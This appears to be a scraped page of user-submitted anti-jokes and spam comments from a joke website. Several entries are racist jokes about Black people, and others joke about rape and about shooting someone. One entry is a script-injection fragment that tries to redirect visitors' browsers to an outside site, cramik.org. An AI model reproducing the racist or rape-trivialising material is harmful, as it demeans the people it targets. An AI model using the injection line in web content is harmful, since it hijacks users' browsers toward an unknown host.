Turkeys are obese

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Congratulations, sir. The judge has determined that the charges of traffic violation against you were indeed incorrect, and you will be given a large sum of cash for your wasted time.

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wanna know the biggest joke on antijoke.com? People's spelling.

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the joke below will not be as funny as this one.... hahaha other joke i just ruined you

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Thumbs up if you're reading this in 2015!

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A black man goes to his dentist appointment and the doctor asks, have you brushed your teeth today laderius? the black man replies: Yes, but my name is not laderius

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Why couldn't the pirate watch the violent movie? Because pirates died along time ago

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What's worst than dropping your watch into the gutter? Waking up with a penis on your head.

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"'>document.location.href="http://cramik.org"

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Knock knock. Who's there? Obama. Obama who? Barack Obama, President of the United States. I was wondering if I could borrow a cup of sugar. I'm baking cookies for my family, because they really like my cookies.

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What did the white man say to the black man that sneezed? -Bless you.

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Some people just need a high five. In the face. With a gun.

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Why was 7 afraid of 8? Because 8 knifed 10.

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why was 14 scared of 15? 7-8-9

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Q: What do you call a black pilot. A: A pilot you racist.

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haha black people :D

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"Why did the chicken cross the road? ... To get to your house. Knock knock." "Who's there?" "The chicken"

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Hello, can I order a cheeseburger?

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A sad guy walks in to a bar and the bartender asks, what's the matter? The guy responds, I just found out i'm deaf

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What is a gremlin's favorite snack? Gremlins aren't real.

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Guest-knock knock (silence) Guest-hello is anyone there? no go away Guest-looks like there is no one here lets leave

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I was raped oh no he's coming HELP ahhhhhhhhfkaek.k.k.k.k.k.k. vmruieao3 vxm v

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What does a lonely man do on opposite day? I don't know. Why should we know what he does, that is both weird and illegal. Stalking is a serious crime and should not be used. We do not know what he does on normal days, thus we cannot come to a conclusion to this question. However, I do hypothesize that he must be social on this day because this is the opposite of lonely.

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It was Valentines Day today, I thought I should get her something... I brought flowers to her grave.

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